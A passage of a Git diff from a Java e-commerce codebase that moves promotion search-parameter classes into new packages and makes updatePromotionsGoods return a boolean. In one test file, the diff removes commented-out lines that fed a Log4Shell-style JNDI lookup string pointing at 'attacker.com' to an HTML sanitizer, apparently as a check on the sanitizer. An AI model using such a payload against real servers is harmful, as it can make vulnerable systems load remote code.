public void updatePromotionsGoods(CouponActivity couponActivity) {
super.updatePromotionsGoods(couponActivity);
public boolean updatePromotionsGoods(CouponActivity couponActivity) {
boolean result = super.updatePromotionsGoods(couponActivity);
if (couponActivity instanceof CouponActivityDTO
&& !PromotionsStatusEnum.CLOSE.name().equals(couponActivity.getPromotionStatus())
&& PromotionsScopeTypeEnum.PORTION_GOODS.name().equals(couponActivity.getScopeType())) {
@ -150,8 +151,9 @@ public class CouponActivityServiceImpl extends AbstractPromotionsServiceImpl<Cou
couponActivityItem.setActivityId(couponActivityDTO.getId());
}
// 更新优惠券活动项信息
couponActivityItemService.saveBatch(couponActivityDTO.getCouponActivityItems());
result = couponActivityItemService.saveBatch(couponActivityDTO.getCouponActivityItems());
}
return result;
}
/**

View File

@ -12,14 +12,14 @@ import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.promotion.entity.dos.Coupon;
import cn.lili.modules.promotion.entity.dos.FullDiscount;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dto.search.CouponSearchParams;
import cn.lili.modules.promotion.entity.dto.search.FullDiscountSearchParams;
import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.entity.enums.CouponRangeDayEnum;
import cn.lili.modules.promotion.entity.enums.CouponTypeEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.CouponSearchParams;
import cn.lili.modules.promotion.entity.vos.CouponVO;
import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams;
import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.mapper.CouponMapper;
import cn.lili.modules.promotion.service.*;
import cn.lili.modules.promotion.tools.PromotionTools;
@ -221,8 +221,8 @@ public class CouponServiceImpl extends AbstractPromotionsServiceImpl<CouponMappe
}
@Override
public void updatePromotionsGoods(Coupon promotions) {
super.updatePromotionsGoods(promotions);
public boolean updatePromotionsGoods(Coupon promotions) {
boolean result = super.updatePromotionsGoods(promotions);
if (!PromotionsStatusEnum.CLOSE.name().equals(promotions.getPromotionStatus()) &&
PromotionsScopeTypeEnum.PORTION_GOODS.name().equals(promotions.getScopeType()) &&
promotions instanceof CouponVO) {
@ -234,8 +234,9 @@ public class CouponServiceImpl extends AbstractPromotionsServiceImpl<CouponMappe
promotionGoods.setStoreName(promotions.getStoreName());
}
//促销活动商品更新
this.promotionGoodsService.saveBatch(promotionGoodsList);
result = this.promotionGoodsService.saveBatch(promotionGoodsList);
}
return result;
}
/**

View File

@ -8,9 +8,9 @@ import cn.lili.modules.order.cart.entity.vo.FullDiscountVO;
import cn.lili.modules.promotion.entity.dos.Coupon;
import cn.lili.modules.promotion.entity.dos.FullDiscount;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.mapper.FullDiscountMapper;
import cn.lili.modules.promotion.service.CouponService;
import cn.lili.modules.promotion.service.FullDiscountService;
@ -107,10 +107,11 @@ public class FullDiscountServiceImpl extends AbstractPromotionsServiceImpl<FullD
* 更新促销商品信息
*
* @param promotions 促销实体
* @return
*/
@Override
public void updatePromotionsGoods(FullDiscount promotions) {
super.updatePromotionsGoods(promotions);
public boolean updatePromotionsGoods(FullDiscount promotions) {
boolean result = super.updatePromotionsGoods(promotions);
if (!PromotionsStatusEnum.CLOSE.name().equals(promotions.getPromotionStatus())
&& PromotionsScopeTypeEnum.PORTION_GOODS.name().equals(promotions.getScopeType())
&& promotions instanceof FullDiscountVO) {
@ -118,8 +119,9 @@ public class FullDiscountServiceImpl extends AbstractPromotionsServiceImpl<FullD
List<PromotionGoods> promotionGoodsList = PromotionTools.promotionGoodsInit(fullDiscountVO.getPromotionGoodsList(), fullDiscountVO, PromotionTypeEnum.FULL_DISCOUNT);
this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId()));
//促销活动商品更新
this.promotionGoodsService.saveBatch(promotionGoodsList);
result = this.promotionGoodsService.saveBatch(promotionGoodsList);
}
return result;
}

View File

@ -13,10 +13,10 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsOperationDTO;
import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityGoodsParams;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsListVO;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO;
import cn.lili.modules.promotion.mapper.KanJiaActivityGoodsMapper;
import cn.lili.modules.promotion.service.KanjiaActivityGoodsService;

View File

@ -9,8 +9,8 @@ import cn.lili.common.vo.PageVO;
import cn.lili.modules.promotion.entity.dos.KanjiaActivity;
import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods;
import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog;
import cn.lili.modules.promotion.entity.dto.KanJiaActivityLogQuery;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityDTO;
import cn.lili.modules.promotion.entity.dto.search.KanJiaActivityLogQuery;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.mapper.KanJiaActivityLogMapper;
import cn.lili.modules.promotion.service.KanjiaActivityGoodsService;

View File

@ -18,10 +18,10 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivity;
import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods;
import cn.lili.modules.promotion.entity.dos.KanjiaActivityLog;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityDTO;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityQuery;
import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityQuery;
import cn.lili.modules.promotion.entity.dto.search.KanjiaActivitySearchParams;
import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityVO;
import cn.lili.modules.promotion.mapper.KanJiaActivityMapper;
import cn.lili.modules.promotion.service.KanjiaActivityGoodsService;

View File

@ -7,11 +7,11 @@ import cn.lili.common.security.context.UserContext;
import cn.lili.common.vo.PageVO;
import cn.lili.modules.promotion.entity.dos.Coupon;
import cn.lili.modules.promotion.entity.dos.MemberCoupon;
import cn.lili.modules.promotion.entity.dto.search.MemberCouponSearchParams;
import cn.lili.modules.promotion.entity.enums.CouponGetEnum;
import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.CouponSearchParams;
import cn.lili.modules.promotion.mapper.MemberCouponMapper;
import cn.lili.modules.promotion.service.CouponService;
import cn.lili.modules.promotion.service.MemberCouponService;
@ -92,20 +92,20 @@ public class MemberCouponServiceImpl extends ServiceImpl<MemberCouponMapper, Mem
}
@Override
public IPage<MemberCoupon> getMemberCoupons(CouponSearchParams param, PageVO pageVo) {
public IPage<MemberCoupon> getMemberCoupons(MemberCouponSearchParams param, PageVO pageVo) {
QueryWrapper<MemberCoupon> queryWrapper = param.queryWrapper();
return this.page(PageUtil.initPage(pageVo), queryWrapper);
}
/**
* 获取会员优惠券列表
*
* @param param 查询参数
* @return 会员优惠券列表
*/
@Override
public List<MemberCoupon> getMemberCoupons() {
AuthUser authUser = Objects.requireNonNull(UserContext.getCurrentUser());
LambdaQueryWrapper<MemberCoupon> queryWrapper = new LambdaQueryWrapper<>();
queryWrapper.eq(MemberCoupon::getMemberId, authUser.getId());
queryWrapper.eq(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.NEW.name());
queryWrapper.le(MemberCoupon::getStartTime, new Date());
queryWrapper.ge(MemberCoupon::getEndTime, new Date());
return this.list(queryWrapper);
public List<MemberCoupon> getMemberCoupons(MemberCouponSearchParams param) {
return this.list(param.queryWrapper());
}
/**
@ -116,7 +116,7 @@ public class MemberCouponServiceImpl extends ServiceImpl<MemberCouponMapper, Mem
* @return 会员优惠券列表
*/
@Override
public IPage<MemberCoupon> getMemberCouponsByCanUse(CouponSearchParams param, Double totalPrice, PageVO pageVo) {
public IPage<MemberCoupon> getMemberCouponsByCanUse(MemberCouponSearchParams param, Double totalPrice, PageVO pageVo) {
LambdaQueryWrapper<MemberCoupon> queryWrapper = new LambdaQueryWrapper<>();
List<String> storeIds = new ArrayList<>(Arrays.asList(param.getStoreId().split(",")));
storeIds.add(PromotionTools.PLATFORM_ID);

View File

@ -16,12 +16,12 @@ import cn.lili.modules.order.order.entity.enums.PayStatusEnum;
import cn.lili.modules.order.order.service.OrderService;
import cn.lili.modules.promotion.entity.dos.Pintuan;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.PintuanMemberVO;
import cn.lili.modules.promotion.entity.vos.PintuanShareVO;
import cn.lili.modules.promotion.entity.vos.PintuanVO;
import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.mapper.PintuanMapper;
import cn.lili.modules.promotion.service.PintuanService;
import cn.lili.modules.promotion.service.PromotionGoodsService;
@ -204,10 +204,11 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl<PintuanMap
* 更新促销商品信息
*
* @param promotions 促销实体
* @return
*/
@Override
public void updatePromotionsGoods(Pintuan promotions) {
super.updatePromotionsGoods(promotions);
public boolean updatePromotionsGoods(Pintuan promotions) {
boolean result = super.updatePromotionsGoods(promotions);
if (!PromotionsStatusEnum.CLOSE.name().equals(promotions.getPromotionStatus())
&& PromotionsScopeTypeEnum.PORTION_GOODS.name().equals(promotions.getScopeType())
&& promotions instanceof PintuanVO) {
@ -225,6 +226,7 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl<PintuanMap
//过滤父级拼团订单根据父级拼团订单分组
this.orderService.checkFictitiousOrder(promotions.getId(), promotions.getRequiredNum(), promotions.getFictitious());
}
return result;
}
/**

View File

@ -114,8 +114,9 @@ public class PointsGoodsServiceImpl extends AbstractPromotionsServiceImpl<Points
this.checkPromotions(promotions);
if (this.checkSkuDuplicate(promotions.getSkuId(), promotions.getId()) == null) {
result = this.updateById(promotions);
this.updatePromotionsGoods(promotions);
this.updateEsGoodsIndex(promotions);
if (this.updatePromotionsGoods(promotions)) {
this.updateEsGoodsIndex(promotions);
}
}
return result;
}
@ -203,11 +204,12 @@ public class PointsGoodsServiceImpl extends AbstractPromotionsServiceImpl<Points
* 更新促销商品信息
*
* @param promotions 促销实体
* @return
*/
@Override
public void updatePromotionsGoods(PointsGoods promotions) {
public boolean updatePromotionsGoods(PointsGoods promotions) {
this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId()));
this.promotionGoodsService.save(new PromotionGoods(promotions, this.checkSkuExist(promotions.getSkuId())));
return this.promotionGoodsService.save(new PromotionGoods(promotions, this.checkSkuExist(promotions.getSkuId())));
}
/**

View File

@ -10,10 +10,10 @@ import cn.lili.modules.goods.entity.dos.GoodsSku;
import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dos.SeckillApply;
import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.entity.dto.search.SeckillSearchParams;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.entity.vos.SeckillSearchParams;
import cn.lili.modules.promotion.mapper.PromotionGoodsMapper;
import cn.lili.modules.promotion.service.PromotionGoodsService;
import cn.lili.modules.promotion.service.SeckillApplyService;

View File

@ -2,10 +2,10 @@ package cn.lili.modules.promotion.serviceimpl;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.modules.promotion.entity.dos.*;
import cn.lili.modules.promotion.entity.dto.search.FullDiscountSearchParams;
import cn.lili.modules.promotion.entity.dto.search.PintuanSearchParams;
import cn.lili.modules.promotion.entity.dto.search.SeckillSearchParams;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams;
import cn.lili.modules.promotion.entity.vos.PintuanSearchParams;
import cn.lili.modules.promotion.entity.vos.SeckillSearchParams;
import cn.lili.modules.promotion.service.*;
import cn.lili.modules.promotion.tools.PromotionTools;
import cn.lili.modules.search.entity.dos.EsGoodsIndex;

View File

@ -13,12 +13,16 @@ import cn.lili.common.exception.ServiceException;
import cn.lili.common.vo.PageVO;
import cn.lili.modules.goods.entity.dos.GoodsSku;
import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.promotion.entity.dos.BasePromotions;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dos.Seckill;
import cn.lili.modules.promotion.entity.dos.SeckillApply;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.entity.dto.search.SeckillSearchParams;
import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum;
import cn.lili.modules.promotion.entity.vos.*;
import cn.lili.modules.promotion.entity.vos.SeckillApplyVO;
import cn.lili.modules.promotion.entity.vos.SeckillGoodsVO;
import cn.lili.modules.promotion.entity.vos.SeckillTimelineVO;
import cn.lili.modules.promotion.mapper.SeckillApplyMapper;
import cn.lili.modules.promotion.service.PromotionGoodsService;
import cn.lili.modules.promotion.service.SeckillApplyService;

View File

@ -12,8 +12,8 @@ import cn.lili.common.exception.ServiceException;
import cn.lili.common.properties.RocketmqCustomProperties;
import cn.lili.modules.promotion.entity.dos.Seckill;
import cn.lili.modules.promotion.entity.dos.SeckillApply;
import cn.lili.modules.promotion.entity.dto.search.SeckillSearchParams;
import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum;
import cn.lili.modules.promotion.entity.vos.SeckillSearchParams;
import cn.lili.modules.promotion.entity.vos.SeckillVO;
import cn.lili.modules.promotion.mapper.SeckillMapper;
import cn.lili.modules.promotion.service.SeckillApplyService;

View File

@ -6,8 +6,8 @@ import cn.hutool.core.text.CharSequenceUtil;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.common.enums.ResultCode;
import cn.lili.common.exception.ServiceException;
import cn.lili.modules.promotion.entity.dos.BasePromotions;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;

View File

@ -3,8 +3,8 @@ package cn.lili.modules.search.service;
import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.modules.goods.entity.dos.GoodsSku;
import cn.lili.modules.goods.entity.dto.GoodsParamsDTO;
import cn.lili.modules.promotion.entity.dos.BasePromotions;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.search.entity.dos.EsGoodsIndex;
import java.util.List;

View File

@ -22,10 +22,10 @@ import cn.lili.modules.goods.entity.enums.GoodsAuthEnum;
import cn.lili.modules.goods.entity.enums.GoodsStatusEnum;
import cn.lili.modules.goods.entity.enums.GoodsWordsTypeEnum;
import cn.lili.modules.goods.service.*;
import cn.lili.modules.promotion.entity.dos.BasePromotions;
import cn.lili.modules.promotion.entity.dos.Pintuan;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dos.Seckill;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.service.PromotionService;
import cn.lili.modules.promotion.tools.PromotionTools;

View File

@ -9,7 +9,7 @@ import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.Coupon;
import cn.lili.modules.promotion.entity.dos.MemberCoupon;
import cn.lili.modules.promotion.entity.vos.CouponSearchParams;
import cn.lili.modules.promotion.entity.dto.search.CouponSearchParams;
import cn.lili.modules.promotion.entity.vos.CouponVO;
import cn.lili.modules.promotion.service.CouponService;
import cn.lili.modules.promotion.service.MemberCouponService;

View File

@ -6,7 +6,7 @@ import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.order.cart.entity.vo.FullDiscountVO;
import cn.lili.modules.promotion.entity.dos.FullDiscount;
import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams;
import cn.lili.modules.promotion.entity.dto.search.FullDiscountSearchParams;
import cn.lili.modules.promotion.service.FullDiscountService;
import com.baomidou.mybatisplus.core.metadata.IPage;
import io.swagger.annotations.Api;

View File

@ -9,7 +9,7 @@ import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsOperationDTO;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams;
import cn.lili.modules.promotion.entity.dto.search.KanjiaActivityGoodsParams;
import cn.lili.modules.promotion.service.KanjiaActivityGoodsService;
import com.baomidou.mybatisplus.core.metadata.IPage;
import io.swagger.annotations.Api;

View File

@ -8,9 +8,9 @@ import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.Pintuan;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.vos.PintuanSearchParams;
import cn.lili.modules.promotion.entity.dto.search.PintuanSearchParams;
import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.entity.vos.PintuanVO;
import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.service.PintuanService;
import cn.lili.modules.promotion.service.PromotionGoodsService;
import com.baomidou.mybatisplus.core.metadata.IPage;

View File

@ -7,7 +7,7 @@ import cn.lili.common.security.context.UserContext;
import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.PointsGoods;
import cn.lili.modules.promotion.entity.vos.PointsGoodsSearchParams;
import cn.lili.modules.promotion.entity.dto.search.PointsGoodsSearchParams;
import cn.lili.modules.promotion.entity.vos.PointsGoodsVO;
import cn.lili.modules.promotion.service.PointsGoodsService;
import com.baomidou.mybatisplus.core.metadata.IPage;

View File

@ -4,8 +4,8 @@ import cn.lili.common.enums.ResultUtil;
import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.service.PromotionGoodsService;
import cn.lili.modules.promotion.service.PromotionService;
import com.baomidou.mybatisplus.core.metadata.IPage;

View File

@ -5,7 +5,7 @@ import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.Seckill;
import cn.lili.modules.promotion.entity.dos.SeckillApply;
import cn.lili.modules.promotion.entity.vos.SeckillSearchParams;
import cn.lili.modules.promotion.entity.dto.search.SeckillSearchParams;
import cn.lili.modules.promotion.entity.vos.SeckillVO;
import cn.lili.modules.promotion.service.SeckillApplyService;
import cn.lili.modules.promotion.service.SeckillService;

View File

@ -7,8 +7,6 @@ import cn.lili.modules.goods.entity.dos.GoodsSku;
import cn.lili.modules.goods.entity.enums.GoodsAuthEnum;
import cn.lili.modules.goods.entity.enums.GoodsStatusEnum;
import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.promotion.entity.dos.FullDiscount;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.service.PromotionService;
import cn.lili.modules.search.entity.dos.EsGoodsAttribute;
import cn.lili.modules.search.entity.dos.EsGoodsIndex;
@ -27,7 +25,6 @@ import org.springframework.data.elasticsearch.core.SearchPage;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Map;
@ -68,15 +65,6 @@ class EsTest {
// Date dt1 = new Date(2021, 12, 10);
// Date dt2 = new Date(2021, 12, 14);
//
// System.out.println(new Date().before(dt2));
// String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}");
// String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}");
// System.out.println(filter);
// System.out.println(sanitize);
FullDiscount fullDiscount = new FullDiscount();
fullDiscount.setStartTime(new Date());
BasePromotions promotions = fullDiscount;
System.out.println(promotions);
}

View File

@ -5,10 +5,10 @@ import cn.lili.common.vo.PageVO;
import cn.lili.modules.goods.entity.enums.GoodsStatusEnum;
import cn.lili.modules.promotion.entity.dos.Coupon;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dto.search.CouponSearchParams;
import cn.lili.modules.promotion.entity.enums.CouponGetEnum;
import cn.lili.modules.promotion.entity.enums.CouponTypeEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.vos.CouponSearchParams;
import cn.lili.modules.promotion.entity.vos.CouponVO;
import cn.lili.modules.promotion.service.CouponService;
import com.baomidou.mybatisplus.core.metadata.IPage;

View File

@ -8,7 +8,7 @@ import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.order.cart.entity.vo.FullDiscountVO;
import cn.lili.modules.promotion.entity.dos.FullDiscount;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams;
import cn.lili.modules.promotion.entity.dto.search.FullDiscountSearchParams;
import cn.lili.modules.promotion.service.FullDiscountService;
import com.baomidou.mybatisplus.core.metadata.IPage;
import org.junit.jupiter.api.Assertions;

View File

@ -1,6 +1,6 @@
package cn.lili.test.promotion;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.entity.dos.BasePromotions;
import cn.lili.modules.promotion.service.PromotionGoodsService;
import cn.lili.modules.promotion.service.PromotionService;
import org.junit.jupiter.api.Assertions;

View File

@ -9,7 +9,7 @@ import cn.lili.common.security.context.UserContext;
import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.Coupon;
import cn.lili.modules.promotion.entity.vos.CouponSearchParams;
import cn.lili.modules.promotion.entity.dto.search.CouponSearchParams;
import cn.lili.modules.promotion.entity.vos.CouponVO;
import cn.lili.modules.promotion.service.CouponService;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;

View File

@ -9,7 +9,7 @@ import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.order.cart.entity.vo.FullDiscountVO;
import cn.lili.modules.promotion.entity.dos.FullDiscount;
import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams;
import cn.lili.modules.promotion.entity.dto.search.FullDiscountSearchParams;
import cn.lili.modules.promotion.service.FullDiscountService;
import com.baomidou.mybatisplus.core.metadata.IPage;
import io.swagger.annotations.Api;

View File

@ -12,9 +12,9 @@ import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.Pintuan;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.vos.PintuanSearchParams;
import cn.lili.modules.promotion.entity.dto.search.PintuanSearchParams;
import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.entity.vos.PintuanVO;
import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.service.PintuanService;
import cn.lili.modules.promotion.service.PromotionGoodsService;
import com.baomidou.mybatisplus.core.metadata.IPage;

View File

@ -7,8 +7,8 @@ import cn.lili.common.vo.PageVO;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.promotion.entity.dos.Seckill;
import cn.lili.modules.promotion.entity.dos.SeckillApply;
import cn.lili.modules.promotion.entity.dto.search.SeckillSearchParams;
import cn.lili.modules.promotion.entity.vos.SeckillApplyVO;
import cn.lili.modules.promotion.entity.vos.SeckillSearchParams;
import cn.lili.modules.promotion.service.SeckillApplyService;
import cn.lili.modules.promotion.service.SeckillService;
import com.baomidou.mybatisplus.core.metadata.IPage;